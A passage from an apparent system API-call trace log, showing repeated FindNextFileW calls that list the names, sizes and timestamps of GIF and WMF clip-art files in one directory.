ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0126.207] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0126.208] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0126.209] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0126.210] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0126.210] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0126.210] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0126.210] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0126.210] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0126.210] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0126.211] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0126.211] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0126.211] 